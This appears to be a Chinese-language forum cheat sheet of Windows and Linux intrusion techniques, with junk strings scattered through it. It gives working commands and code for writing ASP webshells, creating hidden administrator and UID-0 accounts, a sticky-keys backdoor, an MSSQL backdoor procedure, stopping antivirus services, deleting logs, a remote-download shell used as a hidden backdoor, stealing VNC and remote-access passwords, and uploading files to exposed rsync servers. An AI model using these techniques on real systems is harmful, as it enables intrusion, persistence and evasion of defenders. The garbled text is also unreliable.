渗透技巧总结

admin

旁站路径问题
& q( J# R7 R* n; e. N1、读网站配置。
# I3 F0 b. g. T2 i; X' }2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
6 O2 f% g$ Z0 J6 z$ S7 p7 S+ y! E        
  n. N1 u* q- K% c1 R& u' R: Y0 E
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
, T( M$ |. a% X' h3 ^* _        WScript.Quit
End If
Set ObjService=GetObject
4 Z4 x  h' Z9 ^+ m% v% p
8 m) _1 w) H" @# b& W("IIS://LocalHost/W3SVC")
9 ^6 p6 }, i% d! @% yFor Each obj3w In objservice
. B% A$ v$ i; u6 B+ X  ]) q  d        If IsNumeric(obj3w.Name)
; t' V$ a& V( v, G
6 v9 M1 \: _2 v8 Y! HThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
4 G7 W- `1 n, |         

, L# A2 b7 u& q' G( Q+ i1 v       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
5 J# K7 s/ k4 `& m                If Err

$ I5 d3 e$ V3 r* k% \<> 0 Then WScript.Quit (1)
! ~% v& H' P2 ~" P0 {' u                WScript.Echo Chr(10) & "[" &

0 L9 g9 ^8 K8 Q9 BOService.ServerComment & "]"
8 V$ n- Z, M8 `# [2 U: W- R# Z% V                For Each Binds In OService.ServerBindings
$ c2 P3 i6 a3 t" f     

7 h) k, n  o2 z9 V' U6 Q7 i& q                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
  D. X5 x: P4 j) k# _4 u7 ^                        
6 \2 n2 G/ H6 b6 p0 `
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
5 h! X/ c: D3 G
: z' _1 c& ^! u& ~) x0 N9 m         WScript.Echo "ath            : " & VDirObj.Path
        End If
: I# J& s" c* M/ |. s) [+ s, G' MNext
# r/ _1 C; g  t+ m复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
0 r* S3 u" G+ H0 w7 A) r, A) Nurl/wp-content/plugins/akismet/hello.php
# n# P7 O' R) m( L——————————————————————
& W1 D6 {3 l; }8 sphpMyAdmin暴路径办法:
: A& h' \3 B9 _+ ophpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
5 f, e9 a5 Y* Y  C* O/ w* U2 ^9 Qphpmyadmin/themes/darkblue_orange/layout.inc.php
3 g$ c! C; y1 q————————————————————
: [  y2 e1 Q* t网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
4 R+ S) R: S! h, x: h& i————————————————————
- k5 G9 r8 v! o) C3 rCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
6 z* i# n5 M, d7 o/ a" g# @) d0 hnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
( Z/ r2 b7 P# Y/ N" i* @/ I# F" h————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
4 x+ t% P8 \: N4 p) I% IEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

5 S( _  _2 S" ^另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
$ a* i4 R0 S# Z* `js:
: _7 {0 V, ]3 K: r7 o9 R% o6 H: Hvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
9 r" `: \4 P$ Y3 h* d$ S1 Fz.setting("AccountType")=3;

, u1 f+ Q2 y" x( V. e5 q& @: Yvbs:
) X9 R/ U1 j/ _& PSet   o=CreateObject( "Shell.Users" )
9 K1 q' `" ]  I& _/ p) |Set z=o.create("test")
# x% s3 `1 d4 ~4 F2 p2 D7 s% e' iz.changePassword "123456",""
3 G8 }; N+ p( D. h0 L2 fz.setting("AccountType")=3
——————————————————
+ {4 w- }4 |3 v% w7 o& J5 @+ Bcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
" G. N4 C0 x0 c. g; n' s4 `cacls c: /e /t /g everyone:F           #c盘everyone权限
1 y' j$ g. U, H  M+ y& O' mcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
! ~' t, }  v/ V/ a5 R" r3389相关
' X8 u9 u* I. O# p: c) K5 v, Sa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
9 h) J' W" \+ mb、内网环境（LCX）
3 H  W% Z& i' p& V9 Z: ?- ec、终端服务器超出了最大允许连接
" t; I' t8 Y9 lXP 运行mstsc /admin
2003 运行mstsc /console   
, t! [) k+ r/ x# ?& L2 r
杀软关闭（把杀软所在的文件的所有权限去掉）
+ b* J2 Y' X# P/ X) Y4 [: g处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
* |+ ~$ x, Q( D8 J6 Nnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
' }8 ~" J* N: x& b" i) mnet stop "System Event Notification" /y
; Y% U4 f) x, l( m. Y; F( F3 Qnet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
, U8 s- Q9 e: r6 A& k————————————————————

7 O# Z: |5 _8 P) u# A' n5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
8 s- [" R0 l: v: n7 Rcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
% w6 b5 i! h) Y; _" O, |隐藏账号添加：
3 h, k& c+ L0 r9 J) I$ E1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
5 s+ w8 E" u; \, x: V+ h2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
  x: z% a+ W6 ?; p0 r5 s2 t——————————————————————
( R% f/ A( ~  ]' i6 rMSSQL扩展后门：
: B2 H8 G0 ?) t9 VUSE master;
. ^, h$ ?* g) r1 S1 h: |  AEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
0 s) u; ~, W8 OGRANT exec On xp_helpsystem TO public;
———————————————————————
% E3 B: {3 P# L  ^5 G! S日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
) U! I/ X5 d4 s( Z. J直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

' Y! `- t& Z% BMSSQL查询分析器连接记录清除：
, h( A% U( X' x3 [- sMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
+ `$ P: J/ |4 r( x1 x+ s找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
4 h! k- }2 X* P- h防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

  I& t5 d- C/ m# ?1 H- C. M<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
3 G# L5 I0 {, R2 }* j4 G6 YOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
+ N2 w. x2 f6 \5 R8 A, {& VWith Retrieval
; t. e: k3 _; O. J% b/ P.Open "Get", s_RemoteFileUrl, False, "", ""
/ T) n5 `) k$ Z.Send
GetRemoteData = .ResponseBody
End With
0 Q/ z! x) r' s. iSet Retrieval = Nothing
4 b5 W, n# ~1 t! bSet Ads = Server.CreateObject("Adodb.Stream")
! Y( g% D4 G6 r( _0 ]With Ads
2 R3 _0 o  C3 ]9 Q  f.Type = 1
.Open
.Write GetRemoteData
4 {  n( S) {* ]7 w.SaveToFile Server.MapPath(s_LocalFileName), 2
8 c( h0 v7 H6 T4 n% x.Cancel()
' _" D8 N/ l( q1 T/ V.Close()
0 x3 ]% p6 U2 V4 `7 v2 `End With
Set Ads=nothing
' @9 y- O, ^( h+ y9 V$ {0 z4 \End Sub
0 I3 l9 s( Z( {# R5 l( z
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
" ]4 h  E5 I( C6 K5 T' h7 I0 }" d利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
( s4 N( g+ J2 v  C: I/ Y, {' Jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
2 u! }: o6 z# X: i3 Y- Qregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
2 C, J1 ]7 o1 |" EHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
4 m5 N2 |2 L  p1 [! C然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
& F! i$ V$ T3 y" U) R3 D——————————————————————
3 v* I2 L  z+ I9 u- D3 J( m) }, i搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
* Z0 b7 b  b% f! w——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
4 U. }0 ?! j+ h0 f( s6 i+ K
1433 SA点构建注入点。
3 d$ p/ U% B$ S7 c<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
- X  _( N& }1 S8 a" y% i' g( I+ astrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
1 S% ]/ s" U- K& F' b5 X6 V  @: ?
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
: y( C! h0 p  W1 B1 N  X0 L! ddim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
  B0 M! C9 ~; KstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
& ]3 ~8 N4 h( ?; |& H+ s! [1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

# Y" W. n) J+ ~" |3 P* K2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
! T7 t: u  X8 f4 H找到ou,dc,dc设置
) C5 w+ T' K6 U9 W
3.查找管理员信息
8 v. v: ]& |& r5 g! _+ U匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
$ g; t5 G% E" b4 U) W. y
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

% |3 E- M, X) O5 w. @. _"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! Y- G) I% U" F+ N: l: _6 Q

4 E' b3 p' P! E2 x6 E2 m: {4.查找10条用户记录
9 B/ ]3 }/ n5 _6 j( S" J+ r, Pldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
1 |. V9 _8 _7 L" D% a
8 i! _, o- P" I7 i# J; {; H实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
9 _& D8 b% |, ]5 l" F: L
9 K  }! y) i  p9 P4 @6 ^2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
! B2 S+ a# P7 q# Y* z9 G0 m: F
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
/ ^1 ^0 \: \, K$ H: ~( m
" a4 i5 r8 E$ o6 g1 V  V"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 [" M0 J/ U' i& g! [
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

' o" n/ s: h! \( j
4.查找10条用户记录
' u* A* s; ]* z- e4 [8 V1 P  d) u' Hldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
: A$ \. x7 z; s. o2 f5 n) x% k
! L  J' z# m* b5 K$ j$ M渗透实战:
- N1 C: A9 P* {: S$ M8 z0 U* i5 d1.返回所有的属性
9 G! P1 I& l" rldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
9 Q" l* [( x& q9 s  v! rdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
0 z$ N" _9 U& P
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
& s/ F9 z7 }( Q$ Y9 ]objectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
% Y% }# u' w- P+ y% W- c# Ruid: superadmin
5 E7 J+ P, z2 dobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
7 J4 Y% G2 H' F) J3 j2 p$ V6 SobjectClass: top
. Z) g' I, J& |: H9 I1 F+ O. ksn: superadmin
cn: superadmin
% [- ~6 d( I+ @) k$ T, A. D
5 \# }0 Y! ^7 r, r% p9 `  s: gdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
( c. b( R% s/ j8 Y$ _! [% @& }0 oobjectClass: organizationalPerson
objectClass: person
* G$ ?" w6 J, EobjectClass: top
2 p- B- J2 c% Y' s, d% r7 @sn: admin
cn: admin

5 A3 \$ S" F& M8 l% |  jdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
' B/ a. k' }6 K* ?( g' cuid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
' l5 n! D6 }( @8 [  l1 pobjectClass: inetOrgPerson
0 J0 c7 ^- k! k4 {. W7 ~9 \sn: dcp_anonymous
* [/ o5 ]7 W+ ~& N8 {cn: dcp_anonymous
* Q* [" `  {* F. y% T+ H* ^
2.查看基类
2 h, V# J" R% i7 I  h5 ?) l* vbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
; e; \3 a' S* U$ I, v: iversion: 1
' {  R. ^( o& ]" \0 `dn: dc=ruc,dc=edu,dc=cn
( W+ ^) ]0 P) d' Fdc: ruc
  w, y" F" r) W7 `; @objectClass: domain
7 ~! t" O; }' e1 [- W
( {$ r% q' j9 h2 E# ]. l; c% @3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
$ R3 P' j4 L& j, k, M  [% z: tnamingContexts: dc=ruc,dc=edu,dc=cn
/ g+ `  L( A3 ~8 D& BsupportedExtension: 2.16.840.1.113730.3.5.7
3 u$ Y- _, c- K( E0 a- h3 h* h& DsupportedExtension: 2.16.840.1.113730.3.5.8
7 Y: _, t/ o: Z/ s7 h% ~2 l( qsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
; D/ h; a- Z& R/ s3 YsupportedExtension: 2.16.840.1.113730.3.5.3
) H: ]/ c* d" RsupportedExtension: 2.16.840.1.113730.3.5.5
. E9 K) |6 j% E: ^+ u- LsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
: p3 w: C& b- c7 S. KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
+ {; g6 D& U  S9 b* l" X# P8 YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
0 `: T  s- Z/ _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
+ I1 E' T# U4 W+ Y- NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
8 V7 z. D1 d3 {, B) fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
) W3 F1 r5 |  qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
% d9 k# I2 D, a) P; n8 ~+ ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
7 A. R6 K5 {3 x3 T% \! ]& Z: R% osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
9 f& o* r4 F' Q9 s4 s; y) P& rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
8 w- ]' K' @7 m# R% }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
9 E3 M# [. g0 @* x6 DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
6 q9 W7 K. s+ ]* m8 e' AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
; C) T# v& _: ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
, ?. ?+ e; E/ v( A/ S  v2 D0 I0 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
( d7 e; \8 `6 Y: G2 ?supportedExtension: 1.3.6.1.4.1.1466.20037
! H8 n0 r" e0 h8 [' W5 p0 {0 M' O4 n3 OsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
# @1 ?/ O4 i& y2 _, D( P! MsupportedControl: 2.16.840.1.113730.3.4.3
- M* {0 |9 f) c! g  isupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
( ]( d& N# C  S0 u8 P8 e/ n& WsupportedControl: 1.2.840.113556.1.4.473
, A5 K& i9 _* A  k) osupportedControl: 2.16.840.1.113730.3.4.9
9 k. D! y1 q2 U4 z9 Q! ?supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
$ i! C6 C4 |1 k" u7 k2 K; Q+ csupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
" t% A0 \& n0 ?+ v- w8 f# T# HsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
+ d, ~% r0 s) t& E) K( T+ [: LsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
4 g4 l0 B2 e0 s8 }7 R  d6 bsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
+ N2 S! @. X3 R' q% ]/ LsupportedControl: 2.16.840.1.113730.3.4.12
$ Z' X! r4 h$ w2 ~3 B: N, ?  HsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
& f* @6 I1 k6 M) j7 GsupportedSASLMechanisms: EXTERNAL
9 P1 g+ t1 M. t( X2 _supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
' C% B# D/ Y+ P! vvendorName: Sun Microsystems, Inc.
. C9 Z  V4 w% D1 N% Y! t: X% x6 ~vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
' }+ D( C1 u5 C# inetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
% u9 f: a2 V, I3 |- ^% \% r5 ]supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
  h9 S/ U. ]( _9 SsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
+ W' F: d+ s6 T3 asupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
9 D+ x' c+ K7 N+ J/ `) U) H5 esupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
$ r6 f' R  I3 s  F% G4 h8 g# AsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
! |, T3 |; o/ |1 u6 T1 O1 K& j4 @1 [supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
2 _0 G  R& Y9 ]) ?7 ysupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
# H' \2 y0 z& r0 R0 F5 zsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
$ o! q8 J2 z  W/ O$ ~3 [% j9 j5 IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
% J+ B4 a4 b( M$ \supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
, d4 |7 g5 \' C; s( K! {0 DsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
( R* i9 G) w1 \8 p" n( w( ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
  i+ t$ E7 l% |; d8 o3 |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
& u8 M) j# a$ A( J! d, BsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
: H0 p3 m2 g) L2 DsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
$ V8 _" F8 j  W: dsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
) R5 M4 w( i! U% HsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
" M/ K4 D8 A6 f! I2 M, j; ]supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
  N: E1 |$ R# w9 S, C9 jsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
3 A! ^1 v: Q0 o2 g2 ]) {- asupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
, \; Q4 E* d6 psupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
# Z5 X8 ~* U" Z; f) [& ~3 C$ U: tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
1 F& L3 E. P/ V, \supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
: Z3 d% s6 o- i; RsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
& P0 M- s- P8 M/ w& L! IsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
) W& a% a2 G( V$ {' U, ]: _8 k9 _8 ^supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
' E. w6 D. D: z( UsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
- b0 z6 M1 x. jsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
  w- V9 P* a/ R3 |* A列举IP
——————
3 P! B8 V" M# z( d0 N; h3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
" x/ f8 Y1 S) f9 i7 n. {3 Uimg_finance
$ V# a4 \8 ^8 v! [7 L" fauto
7 r7 c0 d% L& H1 w. w! O% zimg_auto
0 Z7 s' _, y; v' r4 whtml_cms
img_cms
ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
! o% ?& L& e+ R% Ygames
gamesimg
media
& _$ }; w# F' F2 i" smediaimg
4 _: z. c9 e" e$ T) d, l4 Mfashion
  z& ~2 b3 F1 n6 Q$ tres-fashion
% M/ `. A# W8 Y" |8 \+ {res-fo
3 \7 c( _; j( d3 B& \& I- T6 z7 Ctaobao-home
* z# `, W! y' T: m. c) ]1 Tres-taobao-home
house
0 n! A) y+ y4 u6 Qres-house
res-home
: H/ N) z& P% c5 |. ires-edu
+ \" m- F) B/ f) u+ J! u1 p( qres-ent
. R  ^1 c2 ]5 N# A2 _+ C! Lres-labs
$ B+ f( O9 C. b' r) eres-news
4 h9 |8 O. z8 ures-phtv
res-media
% o" g- U& [6 Q6 Bhome
9 ^- L. }7 P% Tedu
  f0 c4 a4 ]9 \/ H; E! D1 Snews
8 ?6 X1 V7 i. ~& Jres-book
; e% `3 Q) Y. j) F) S9 D
看相应的下级目录(注意一定要在目录后面添加上/)
  r9 z+ w# F! J  O! d
& y" r- J3 b3 v/ Z# V$ W6 V% w5 S
/ a8 [% T; M6 f  P$ k  Krsync 210.51.X.X::htdocs_app/
; y; h6 |$ U/ d4 Wrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
2 ]# Y' }6 v& U6 k' y- n
, H! s, S  o; r3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
. w/ h$ z, @) {nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
# ?7 b4 X! B5 t( e' d4 ~GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
5 p5 Z/ e9 D& n3 Y) K1 L) l' K
0 h& B# M$ S- q) L' w六.joomla渗透小技巧
确定版本
6 b+ I7 O2 L  h! P# [( sindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
- I1 m7 W+ P0 M- N1 @- y
重新设置密码
, \. c7 i6 O; l+ _index.php?option=com_user&view=reset&layout=confirm
) E9 n& r2 j5 Y# g) M5 C
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

# L/ s) ]9 @2 Z+ Q. R八.freebsd本地提权
1 x7 v; v* J( A5 d0 h[argp@julius ~]$ uname -rsi
( c; Y/ N; f  e; V* freebsd 7.3-RELEASE GENERIC
